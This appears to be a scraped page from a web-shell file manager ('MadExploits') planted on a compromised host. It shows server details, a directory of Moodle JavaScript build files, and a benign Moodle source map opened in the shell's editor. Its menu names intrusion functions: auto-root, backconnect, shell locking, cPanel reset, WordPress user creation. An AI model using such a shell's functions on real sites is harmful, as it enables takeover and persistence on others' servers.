Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.93
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
emoji
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
adapter.min.js
120.63
KB
-rw-rw-r--
adapter.min.js.map
291.38
KB
-rw-rw-r--
addblockmodal.min.js
3
KB
-rw-rw-r--
addblockmodal.min.js.map
5.86
KB
-rw-rw-r--
ajax.min.js
3.14
KB
-rw-r--r--
ajax.min.js.map
15.12
KB
-rw-r--r--
aria.min.js
607
B
-rw-r--r--
aria.min.js.map
92
B
-rw-r--r--
auto_rows.min.js
1.23
KB
-rw-r--r--
auto_rows.min.js.map
4.64
KB
-rw-r--r--
autoscroll.min.js
2.38
KB
-rw-r--r--
autoscroll.min.js.map
8.51
KB
-rw-r--r--
backoff_timer.min.js
1.47
KB
-rw-r--r--
backoff_timer.min.js.map
6.21
KB
-rw-r--r--
chart_axis.min.js
2
KB
-rw-r--r--
chart_axis.min.js.map
9.56
KB
-rw-r--r--
chart_bar.min.js
1.12
KB
-rw-r--r--
chart_bar.min.js.map
4.28
KB
-rw-r--r--
chart_base.min.js
4.25
KB
-rw-rw-r--
chart_base.min.js.map
15.29
KB
-rw-rw-r--
chart_builder.min.js
465
B
-rw-r--r--
chart_builder.min.js.map
2.13
KB
-rw-r--r--
chart_line.min.js
733
B
-rw-r--r--
chart_line.min.js.map
2.81
KB
-rw-r--r--
chart_output.min.js
332
B
-rw-r--r--
chart_output.min.js.map
1.3
KB
-rw-r--r--
chart_output_base.min.js
494
B
-rw-r--r--
chart_output_base.min.js.map
2.43
KB
-rw-r--r--
chart_output_chartjs.min.js
5.01
KB
-rw-r--r--
chart_output_chartjs.min.js.ma...
16.25
KB
-rw-r--r--
chart_output_htmltable.min.js
1.45
KB
-rw-r--r--
chart_output_htmltable.min.js....
4.84
KB
-rw-r--r--
chart_pie.min.js
1.21
KB
-rw-r--r--
chart_pie.min.js.map
4.3
KB
-rw-r--r--
chart_series.min.js
3.2
KB
-rw-rw-r--
chart_series.min.js.map
11.35
KB
-rw-rw-r--
chartjs-lazy.min.js
329.26
KB
-rw-rw-r--
chartjs-lazy.min.js.map
944.85
KB
-rw-rw-r--
chartjs.min.js
277
B
-rw-r--r--
chartjs.min.js.map
1.09
KB
-rw-r--r--
checkbox-toggleall.min.js
4.68
KB
-rw-rw-r--
checkbox-toggleall.min.js.map
16.67
KB
-rw-rw-r--
config.min.js
308
B
-rw-r--r--
config.min.js.map
1.17
KB
-rw-r--r--
custom_interaction_events.min....
6.95
KB
-rw-r--r--
custom_interaction_events.min....
28.74
KB
-rw-r--r--
dragdrop.min.js
4.15
KB
-rw-r--r--
dragdrop.min.js.map
16.81
KB
-rw-r--r--
drawer.min.js
3.07
KB
-rw-rw-r--
drawer.min.js.map
4.83
KB
-rw-rw-r--
drawer_events.min.js
291
B
-rw-r--r--
drawer_events.min.js.map
1.15
KB
-rw-r--r--
event.min.js
1.39
KB
-rw-rw-r--
event.min.js.map
5.42
KB
-rw-rw-r--
first.min.js
722
B
-rw-r--r--
first.min.js.map
1.71
KB
-rw-r--r--
form-autocomplete.min.js
19.58
KB
-rw-rw-r--
form-autocomplete.min.js.map
67.83
KB
-rw-rw-r--
form-cohort-selector.min.js
1.03
KB
-rw-r--r--
form-cohort-selector.min.js.ma...
3.61
KB
-rw-r--r--
form-course-selector.min.js
1.73
KB
-rw-r--r--
form-course-selector.min.js.ma...
5.6
KB
-rw-r--r--
fragment.min.js
1.71
KB
-rw-rw-r--
fragment.min.js.map
6.54
KB
-rw-rw-r--
fullscreen.min.js
524
B
-rw-rw-r--
fullscreen.min.js.map
2.05
KB
-rw-rw-r--
icon_system.min.js
603
B
-rw-r--r--
icon_system.min.js.map
3.1
KB
-rw-r--r--
icon_system_fontawesome.min.js
1.81
KB
-rw-r--r--
icon_system_fontawesome.min.js...
5.88
KB
-rw-r--r--
icon_system_standard.min.js
944
B
-rw-r--r--
icon_system_standard.min.js.ma...
3.23
KB
-rw-r--r--
inplace_editable.min.js
6.75
KB
-rw-rw-r--
inplace_editable.min.js.map
19.32
KB
-rw-rw-r--
key_codes.min.js
487
B
-rw-r--r--
key_codes.min.js.map
1.62
KB
-rw-r--r--
loadingicon.min.js
1.29
KB
-rw-r--r--
loadingicon.min.js.map
4.9
KB
-rw-r--r--
localstorage.min.js
590
B
-rw-r--r--
localstorage.min.js.map
2.52
KB
-rw-r--r--
log.min.js
773
B
-rw-r--r--
log.min.js.map
2.29
KB
-rw-r--r--
loglevel.min.js
4.88
KB
-rw-rw-r--
loglevel.min.js.map
14.1
KB
-rw-rw-r--
modal.min.js
11.72
KB
-rw-rw-r--
modal.min.js.map
39.95
KB
-rw-rw-r--
modal_backdrop.min.js
1.83
KB
-rw-r--r--
modal_backdrop.min.js.map
6.09
KB
-rw-r--r--
modal_cancel.min.js
3.76
KB
-rw-rw-r--
modal_cancel.min.js.map
1.83
KB
-rw-rw-r--
modal_events.min.js
535
B
-rw-r--r--
modal_events.min.js.map
1.62
KB
-rw-r--r--
modal_factory.min.js
4.74
KB
-rw-rw-r--
modal_factory.min.js.map
11.92
KB
-rw-rw-r--
modal_registry.min.js
875
B
-rw-r--r--
modal_registry.min.js.map
3.05
KB
-rw-r--r--
modal_save_cancel.min.js
4.12
KB
-rw-rw-r--
modal_save_cancel.min.js.map
2.78
KB
-rw-rw-r--
mustache.min.js
11.31
KB
-rw-rw-r--
mustache.min.js.map
37.6
KB
-rw-rw-r--
network.min.js
3.56
KB
-rw-rw-r--
network.min.js.map
12.64
KB
-rw-rw-r--
normalise.min.js
684
B
-rw-rw-r--
normalise.min.js.map
1.97
KB
-rw-rw-r--
notification.min.js
13.07
KB
-rw-rw-r--
notification.min.js.map
12.85
KB
-rw-rw-r--
page_global.min.js
1.66
KB
-rw-r--r--
page_global.min.js.map
6.81
KB
-rw-r--r--
paged_content.min.js
1.21
KB
-rw-r--r--
paged_content.min.js.map
3.81
KB
-rw-r--r--
paged_content_events.min.js
544
B
-rw-r--r--
paged_content_events.min.js.ma...
1.5
KB
-rw-r--r--
paged_content_factory.min.js
5.5
KB
-rw-rw-r--
paged_content_factory.min.js.m...
26.16
KB
-rw-rw-r--
paged_content_pages.min.js
3.47
KB
-rw-r--r--
paged_content_pages.min.js.map
15.14
KB
-rw-r--r--
paged_content_paging_bar.min.j...
8.3
KB
-rw-r--r--
paged_content_paging_bar.min.j...
27.47
KB
-rw-r--r--
paged_content_paging_bar_limit...
1.04
KB
-rw-r--r--
paged_content_paging_bar_limit...
3.28
KB
-rw-r--r--
paged_content_paging_dropdown....
2.5
KB
-rw-r--r--
paged_content_paging_dropdown....
9.79
KB
-rw-r--r--
pending.min.js
594
B
-rw-r--r--
pending.min.js.map
2.07
KB
-rw-r--r--
permissionmanager.min.js
4.72
KB
-rw-rw-r--
permissionmanager.min.js.map
14.11
KB
-rw-rw-r--
popover_region_controller.min....
5.97
KB
-rw-r--r--
popover_region_controller.min....
17.26
KB
-rw-r--r--
popper.min.js
32.51
KB
-rw-rw-r--
popper.min.js.map
108.7
KB
-rw-rw-r--
prefetch.min.js
4.92
KB
-rw-rw-r--
prefetch.min.js.map
7.69
KB
-rw-rw-r--
pubsub.min.js
1.04
KB
-rw-rw-r--
pubsub.min.js.map
2.81
KB
-rw-rw-r--
sessionstorage.min.js
724
B
-rw-r--r--
sessionstorage.min.js.map
2.67
KB
-rw-r--r--
showhidesettings.min.js
3.88
KB
-rw-r--r--
showhidesettings.min.js.map
15.57
KB
-rw-r--r--
sortable_list.min.js
14.2
KB
-rw-rw-r--
sortable_list.min.js.map
41.31
KB
-rw-rw-r--
storagewrapper.min.js
1.71
KB
-rw-r--r--
storagewrapper.min.js.map
6.75
KB
-rw-r--r--
str.min.js
4.05
KB
-rw-rw-r--
str.min.js.map
10.31
KB
-rw-rw-r--
tag.min.js
9.37
KB
-rw-r--r--
tag.min.js.map
28.04
KB
-rw-r--r--
templates.min.js
15.29
KB
-rw-rw-r--
templates.min.js.map
65.43
KB
-rw-rw-r--
toast.min.js
4.51
KB
-rw-rw-r--
toast.min.js.map
4.23
KB
-rw-rw-r--
tooltip.min.js
1.9
KB
-rw-r--r--
tooltip.min.js.map
6.09
KB
-rw-r--r--
tree.min.js
7
KB
-rw-rw-r--
tree.min.js.map
24.27
KB
-rw-rw-r--
truncate.min.js
2.65
KB
-rw-r--r--
truncate.min.js.map
9.42
KB
-rw-r--r--
url.min.js
1.27
KB
-rw-r--r--
url.min.js.map
4.9
KB
-rw-r--r--
user_date.min.js
2.2
KB
-rw-r--r--
user_date.min.js.map
11.94
KB
-rw-r--r--
userfeedback.min.js
1.79
KB
-rw-rw-r--
userfeedback.min.js.map
4.19
KB
-rw-rw-r--
utils.min.js
843
B
-rw-rw-r--
utils.min.js.map
3.35
KB
-rw-rw-r--
yui.min.js
405
B
-rw-r--r--
yui.min.js.map
1.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : paged_content_factory.min.js.map
{"version":3,"file":"paged_content_factory.min.js","sources":["../src/paged_content_factory.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Factory to create a paged content widget.\n *\n * @module core/paged_content_factory\n * @copyright 2018 Ryan Wyllie <ryan@moodle.com>\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\ndefine(\n[\n 'jquery',\n 'core/templates',\n 'core/notification',\n 'core/paged_content',\n 'core/paged_content_events',\n 'core/pubsub',\n 'core/ajax'\n],\nfunction(\n $,\n Templates,\n Notification,\n PagedContent,\n PagedContentEvents,\n PubSub,\n Ajax\n) {\n var TEMPLATES = {\n PAGED_CONTENT: 'core/paged_content'\n };\n\n var DEFAULT = {\n ITEMS_PER_PAGE_SINGLE: 25,\n ITEMS_PER_PAGE_ARRAY: [25, 50, 100, 0],\n MAX_PAGES: 3\n };\n\n /**\n * Get the default context to render the paged content mustache\n * template.\n *\n * @return {object}\n */\n var getDefaultTemplateContext = function() {\n return {\n pagingbar: false,\n pagingdropdown: false,\n skipjs: true,\n ignorecontrolwhileloading: true,\n controlplacementbottom: false\n };\n };\n\n /**\n * Get the default context to render the paging bar mustache template.\n *\n * @return {object}\n */\n var getDefaultPagingBarTemplateContext = function() {\n return {\n showitemsperpageselector: false,\n itemsperpage: 35,\n previous: true,\n next: true,\n activepagenumber: 1,\n hidecontrolonsinglepage: true,\n pages: []\n };\n };\n\n /**\n * Calculate the number of pages required for the given number of items and\n * how many of each item should appear on a page.\n *\n * @param {Number} numberOfItems How many items in total.\n * @param {Number} itemsPerPage How many items will be shown per page.\n * @return {Number} The number of pages required.\n */\n var calculateNumberOfPages = function(numberOfItems, itemsPerPage) {\n var numberOfPages = 1;\n\n if (numberOfItems > 0) {\n var partial = numberOfItems % itemsPerPage;\n\n if (partial) {\n numberOfItems -= partial;\n numberOfPages = (numberOfItems / itemsPerPage) + 1;\n } else {\n numberOfPages = numberOfItems / itemsPerPage;\n }\n }\n\n return numberOfPages;\n };\n\n /**\n * Build the context for the paging bar template when we have a known number\n * of items.\n *\n * @param {Number} numberOfItems How many items in total.\n * @param {Number} itemsPerPage How many items will be shown per page.\n * @return {object} Mustache template\n */\n var buildPagingBarTemplateContextKnownLength = function(numberOfItems, itemsPerPage) {\n if (itemsPerPage === null) {\n itemsPerPage = DEFAULT.ITEMS_PER_PAGE_SINGLE;\n }\n\n if ($.isArray(itemsPerPage)) {\n // If we're given a total number of pages then we don't support a variable\n // set of items per page so just use the first one.\n itemsPerPage = itemsPerPage[0];\n }\n\n var context = getDefaultPagingBarTemplateContext();\n context.itemsperpage = itemsPerPage;\n var numberOfPages = calculateNumberOfPages(numberOfItems, itemsPerPage);\n\n for (var i = 1; i <= numberOfPages; i++) {\n var page = {\n number: i,\n page: \"\" + i,\n };\n\n // Make the first page active by default.\n if (i === 1) {\n page.active = true;\n }\n\n context.pages.push(page);\n }\n\n context.barsize = 10;\n return context;\n };\n\n /**\n * Convert the itemsPerPage value into a format applicable for the mustache template.\n * The given value can be either a single integer or an array of integers / objects.\n *\n * E.g.\n * In: [5, 10]\n * out: [{value: 5, active: true}, {value: 10, active: false}]\n *\n * In: [5, {value: 10, active: true}]\n * Out: [{value: 5, active: false}, {value: 10, active: true}]\n *\n * In: [{value: 5, active: false}, {value: 10, active: true}]\n * Out: [{value: 5, active: false}, {value: 10, active: true}]\n *\n * @param {int|int[]} itemsPerPage Options for number of items per page.\n * @return {int|array}\n */\n var buildItemsPerPagePagingBarContext = function(itemsPerPage) {\n var context = [];\n\n if ($.isArray(itemsPerPage)) {\n // Convert the array into a format accepted by the template.\n context = itemsPerPage.map(function(num) {\n if (typeof num === 'number') {\n // If the item is just a plain number then convert it into\n // an object with value and active keys.\n return {\n value: num,\n active: false\n };\n } else {\n // Otherwise we assume the caller has specified things correctly.\n return num;\n }\n });\n\n var activeItems = context.filter(function(item) {\n return item.active;\n });\n\n // Default the first item to active if one hasn't been specified.\n if (!activeItems.length) {\n context[0].active = true;\n }\n } else {\n // Convert the integer into a format accepted by the template.\n context = [{value: itemsPerPage, active: true}];\n }\n\n return context;\n };\n\n /**\n * Build the context for the paging bar template when we have an unknown\n * number of items.\n *\n * @param {Number} itemsPerPage How many items will be shown per page.\n * @return {object} Mustache template\n */\n var buildPagingBarTemplateContextUnknownLength = function(itemsPerPage) {\n if (itemsPerPage === null) {\n itemsPerPage = DEFAULT.ITEMS_PER_PAGE_ARRAY;\n }\n\n var context = getDefaultPagingBarTemplateContext();\n context.itemsperpage = buildItemsPerPagePagingBarContext(itemsPerPage);\n // Only display the items per page selector if there is more than one to choose from.\n context.showitemsperpageselector = $.isArray(itemsPerPage) && itemsPerPage.length > 1;\n\n return context;\n };\n\n /**\n * Build the context to render the paging bar template with based on the number\n * of pages to show.\n *\n * @param {int|null} numberOfItems How many items are there total.\n * @param {int|null} itemsPerPage How many items will be shown per page.\n * @return {object} The template context.\n */\n var buildPagingBarTemplateContext = function(numberOfItems, itemsPerPage) {\n if (numberOfItems) {\n return buildPagingBarTemplateContextKnownLength(numberOfItems, itemsPerPage);\n } else {\n return buildPagingBarTemplateContextUnknownLength(itemsPerPage);\n }\n };\n\n /**\n * Build the context to render the paging dropdown template based on the number\n * of pages to show and items per page.\n *\n * This control is rendered with a gradual increase of the items per page to\n * limit the number of pages in the dropdown. Each page will show twice as much\n * as the previous page (except for the first two pages).\n *\n * By default there will only be 4 pages shown (including the \"All\" option) unless\n * a different number of pages is defined using the maxPages config value.\n *\n * For example:\n * Items per page = 25\n * Would render a dropdown will 4 options:\n * 25\n * 50\n * 100\n * All\n *\n * @param {Number} itemsPerPage How many items will be shown per page.\n * @param {object} config Configuration options provided by the client.\n * @return {object} The template context.\n */\n var buildPagingDropdownTemplateContext = function(itemsPerPage, config) {\n if (itemsPerPage === null) {\n itemsPerPage = DEFAULT.ITEMS_PER_PAGE_SINGLE;\n }\n\n if ($.isArray(itemsPerPage)) {\n // If we're given an array for the items per page, rather than a number,\n // then just use that as the options for the dropdown.\n return {\n options: itemsPerPage\n };\n }\n\n var context = {\n options: []\n };\n\n var totalItems = 0;\n var lastIncrease = 0;\n var maxPages = DEFAULT.MAX_PAGES;\n\n if (config.hasOwnProperty('maxPages')) {\n maxPages = config.maxPages;\n }\n\n for (var i = 1; i <= maxPages; i++) {\n var itemCount = 0;\n\n if (i <= 2) {\n itemCount = itemsPerPage;\n lastIncrease = itemsPerPage;\n } else {\n lastIncrease = lastIncrease * 2;\n itemCount = lastIncrease;\n }\n\n totalItems += itemCount;\n var option = {\n itemcount: itemCount,\n content: totalItems\n };\n\n // Make the first option active by default.\n if (i === 1) {\n option.active = true;\n }\n\n context.options.push(option);\n }\n\n return context;\n };\n\n /**\n * Build the context to render the paged content template with based on the number\n * of pages to show, items per page, and configuration option.\n *\n * By default the code will render a paging bar for the paging controls unless\n * otherwise specified in the provided config.\n *\n * @param {int|null} numberOfItems Total number of items.\n * @param {int|null|array} itemsPerPage How many items will be shown per page.\n * @param {object} config Configuration options provided by the client.\n * @return {object} The template context.\n */\n var buildTemplateContext = function(numberOfItems, itemsPerPage, config) {\n var context = getDefaultTemplateContext();\n\n if (config.hasOwnProperty('ignoreControlWhileLoading')) {\n context.ignorecontrolwhileloading = config.ignoreControlWhileLoading;\n }\n\n if (config.hasOwnProperty('controlPlacementBottom')) {\n context.controlplacementbottom = config.controlPlacementBottom;\n }\n\n if (config.hasOwnProperty('hideControlOnSinglePage')) {\n context.hidecontrolonsinglepage = config.hideControlOnSinglePage;\n }\n\n if (config.hasOwnProperty('ariaLabels')) {\n context.arialabels = config.ariaLabels;\n }\n\n if (config.hasOwnProperty('dropdown') && config.dropdown) {\n context.pagingdropdown = buildPagingDropdownTemplateContext(itemsPerPage, config);\n } else {\n context.pagingbar = buildPagingBarTemplateContext(numberOfItems, itemsPerPage);\n }\n\n return context;\n };\n\n /**\n * Create a paged content widget where the complete list of items is not loaded\n * up front but will instead be loaded by an ajax request (or similar).\n *\n * The client code must provide a callback function which loads and renders the\n * items for each page. See PagedContent.init for more details.\n *\n * The function will return a deferred that is resolved with a jQuery object\n * for the HTML content and a string for the JavaScript.\n *\n * The current list of configuration options available are:\n * dropdown {bool} True to render the page control as a dropdown (paging bar is default).\n * maxPages {Number} The maximum number of pages to show in the dropdown (only works with dropdown option)\n * ignoreControlWhileLoading {bool} Disable the pagination controls while loading a page (default to true)\n * controlPlacementBottom {bool} Render controls under paged content (default to false)\n *\n * @param {function} renderPagesContentCallback Callback for loading and rendering the items.\n * @param {object} config Configuration options provided by the client.\n * @return {promise} Resolved with jQuery HTML and string JS.\n */\n var create = function(renderPagesContentCallback, config) {\n return createWithTotalAndLimit(null, null, renderPagesContentCallback, config);\n };\n\n /**\n * Create a paged content widget where the complete list of items is not loaded\n * up front but will instead be loaded by an ajax request (or similar).\n *\n * The client code must provide a callback function which loads and renders the\n * items for each page. See PagedContent.init for more details.\n *\n * The function will return a deferred that is resolved with a jQuery object\n * for the HTML content and a string for the JavaScript.\n *\n * The current list of configuration options available are:\n * dropdown {bool} True to render the page control as a dropdown (paging bar is default).\n * maxPages {Number} The maximum number of pages to show in the dropdown (only works with dropdown option)\n * ignoreControlWhileLoading {bool} Disable the pagination controls while loading a page (default to true)\n * controlPlacementBottom {bool} Render controls under paged content (default to false)\n *\n * @param {int|array|null} itemsPerPage How many items will be shown per page.\n * @param {function} renderPagesContentCallback Callback for loading and rendering the items.\n * @param {object} config Configuration options provided by the client.\n * @return {promise} Resolved with jQuery HTML and string JS.\n */\n var createWithLimit = function(itemsPerPage, renderPagesContentCallback, config) {\n return createWithTotalAndLimit(null, itemsPerPage, renderPagesContentCallback, config);\n };\n\n /**\n * Create a paged content widget where the complete list of items is not loaded\n * up front but will instead be loaded by an ajax request (or similar).\n *\n * The client code must provide a callback function which loads and renders the\n * items for each page. See PagedContent.init for more details.\n *\n * The function will return a deferred that is resolved with a jQuery object\n * for the HTML content and a string for the JavaScript.\n *\n * The current list of configuration options available are:\n * dropdown {bool} True to render the page control as a dropdown (paging bar is default).\n * maxPages {Number} The maximum number of pages to show in the dropdown (only works with dropdown option)\n * ignoreControlWhileLoading {bool} Disable the pagination controls while loading a page (default to true)\n * controlPlacementBottom {bool} Render controls under paged content (default to false)\n *\n * @param {int|null} numberOfItems How many items are there in total.\n * @param {int|array|null} itemsPerPage How many items will be shown per page.\n * @param {function} renderPagesContentCallback Callback for loading and rendering the items.\n * @param {object} config Configuration options provided by the client.\n * @return {promise} Resolved with jQuery HTML and string JS.\n */\n var createWithTotalAndLimit = function(numberOfItems, itemsPerPage, renderPagesContentCallback, config) {\n config = config || {};\n\n var deferred = $.Deferred();\n var templateContext = buildTemplateContext(numberOfItems, itemsPerPage, config);\n\n Templates.render(TEMPLATES.PAGED_CONTENT, templateContext)\n .then(function(html, js) {\n html = $(html);\n var id = html.attr('id');\n\n // Set the id to the custom namespace provided\n if (config.hasOwnProperty('eventNamespace')) {\n id = config.eventNamespace;\n }\n\n var container = html;\n\n PagedContent.init(container, renderPagesContentCallback, id);\n\n registerEvents(id, config);\n\n deferred.resolve(html, js);\n return;\n })\n .fail(function(exception) {\n deferred.reject(exception);\n })\n .fail(Notification.exception);\n\n return deferred.promise();\n };\n\n /**\n * Create a paged content widget where the complete list of items is loaded\n * up front.\n *\n * The client code must provide a callback function which renders the\n * items for each page. The callback will be provided with an array where each\n * value in the array is a the list of items to render for the page.\n *\n * The function will return a deferred that is resolved with a jQuery object\n * for the HTML content and a string for the JavaScript.\n *\n * The current list of configuration options available are:\n * dropdown {bool} True to render the page control as a dropdown (paging bar is default).\n * maxPages {Number} The maximum number of pages to show in the dropdown (only works with dropdown option)\n * ignoreControlWhileLoading {bool} Disable the pagination controls while loading a page (default to true)\n * controlPlacementBottom {bool} Render controls under paged content (default to false)\n *\n * @param {array} contentItems The list of items to paginate.\n * @param {Number} itemsPerPage How many items will be shown per page.\n * @param {function} renderContentCallback Callback for rendering the items for the page.\n * @param {object} config Configuration options provided by the client.\n * @return {promise} Resolved with jQuery HTML and string JS.\n */\n var createFromStaticList = function(contentItems, itemsPerPage, renderContentCallback, config) {\n if (typeof config == 'undefined') {\n config = {};\n }\n\n var numberOfItems = contentItems.length;\n return createWithTotalAndLimit(numberOfItems, itemsPerPage, function(pagesData) {\n var contentToRender = [];\n pagesData.forEach(function(pageData) {\n var begin = pageData.offset;\n var end = pageData.limit ? begin + pageData.limit : numberOfItems;\n var items = contentItems.slice(begin, end);\n contentToRender.push(items);\n });\n\n return renderContentCallback(contentToRender);\n }, config);\n };\n\n /**\n * Reset the last page number for the generated paged-content\n * This is used when we need a way to update the last page number outside of the getters callback\n *\n * @param {String} id ID of the paged content container\n * @param {Int} lastPageNumber The last page number\n */\n var resetLastPageNumber = function(id, lastPageNumber) {\n PubSub.publish(id + PagedContentEvents.ALL_ITEMS_LOADED, lastPageNumber);\n };\n\n /**\n * Generate the callback handler for the page limit persistence functionality\n *\n * @param {String} persistentLimitKey\n * @return {callback}\n */\n var generateLimitHandler = function(persistentLimitKey) {\n var callback = function(limit) {\n var args = {\n preferences: [\n {\n type: persistentLimitKey,\n value: limit\n }\n ]\n };\n\n var request = {\n methodname: 'core_user_update_user_preferences',\n args: args\n };\n\n Ajax.call([request]);\n };\n\n return callback;\n };\n\n /**\n * Set up any events based on config key values\n *\n * @param {string} namespace The namespace for this component\n * @param {object} config Config options passed to the factory\n */\n var registerEvents = function(namespace, config) {\n if (config.hasOwnProperty('persistentLimitKey')) {\n PubSub.subscribe(namespace + PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT,\n generateLimitHandler(config.persistentLimitKey));\n }\n };\n\n return {\n create: create,\n createWithLimit: createWithLimit,\n createWithTotalAndLimit: createWithTotalAndLimit,\n createFromStaticList: createFromStaticList,\n // Backwards compatibility just in case anyone was using this.\n createFromAjax: createWithTotalAndLimit,\n resetLastPageNumber: resetLastPageNumber\n };\n});\n"],"names":["define","$","Templates","Notification","PagedContent","PagedContentEvents","PubSub","Ajax","TEMPLATES","DEFAULT","buildPagingBarTemplateContextUnknownLength","itemsPerPage","context","showitemsperpageselector","itemsperpage","previous","next","activepagenumber","hidecontrolonsinglepage","pages","isArray","map","num","value","active","filter","item","length","buildItemsPerPagePagingBarContext","buildPagingBarTemplateContext","numberOfItems","numberOfPages","partial","calculateNumberOfPages","i","page","number","push","barsize","buildPagingBarTemplateContextKnownLength","buildTemplateContext","config","pagingbar","pagingdropdown","skipjs","ignorecontrolwhileloading","controlplacementbottom","hasOwnProperty","ignoreControlWhileLoading","controlPlacementBottom","hideControlOnSinglePage","arialabels","ariaLabels","dropdown","options","totalItems","lastIncrease","maxPages","itemCount","option","itemcount","content","buildPagingDropdownTemplateContext","createWithTotalAndLimit","renderPagesContentCallback","deferred","Deferred","templateContext","render","then","html","js","id","attr","eventNamespace","container","init","registerEvents","resolve","fail","exception","reject","promise","namespace","persistentLimitKey","subscribe","SET_ITEMS_PER_PAGE_LIMIT","limit","request","methodname","args","preferences","type","call","create","createWithLimit","createFromStaticList","contentItems","renderContentCallback","pagesData","contentToRender","forEach","pageData","begin","offset","end","items","slice","createFromAjax","resetLastPageNumber","lastPageNumber","publish","ALL_ITEMS_LOADED"],"mappings":";;;;;;;AAsBAA,oCACA,CACI,SACA,iBACA,oBACA,qBACA,4BACA,cACA,cAEJ,SACIC,EACAC,UACAC,aACAC,aACAC,mBACAC,OACAC,UAEIC,wBACe,qBAGfC,8BACuB,GADvBA,6BAEsB,CAAC,GAAI,GAAI,IAAK,GAFpCA,kBAGW,EAiKXC,2CAA6C,SAASC,cACjC,OAAjBA,eACAA,aAAeF,kCAGfG,QA7IG,CACHC,0BAA0B,EAC1BC,aAAc,GACdC,UAAU,EACVC,MAAM,EACNC,iBAAkB,EAClBC,yBAAyB,EACzBC,MAAO,WAuIXP,QAAQE,aAhD4B,SAASH,kBACzCC,QAAU,UAEVX,EAAEmB,QAAQT,eAEVC,QAAUD,aAAaU,KAAI,SAASC,WACb,iBAARA,IAGA,CACHC,MAAOD,IACPE,QAAQ,GAILF,QAIWG,QAAO,SAASC,aAC/BA,KAAKF,UAICG,SACbf,QAAQ,GAAGY,QAAS,GAIxBZ,QAAU,CAAC,CAACW,MAAOZ,aAAca,QAAQ,IAGtCZ,QAgBgBgB,CAAkCjB,c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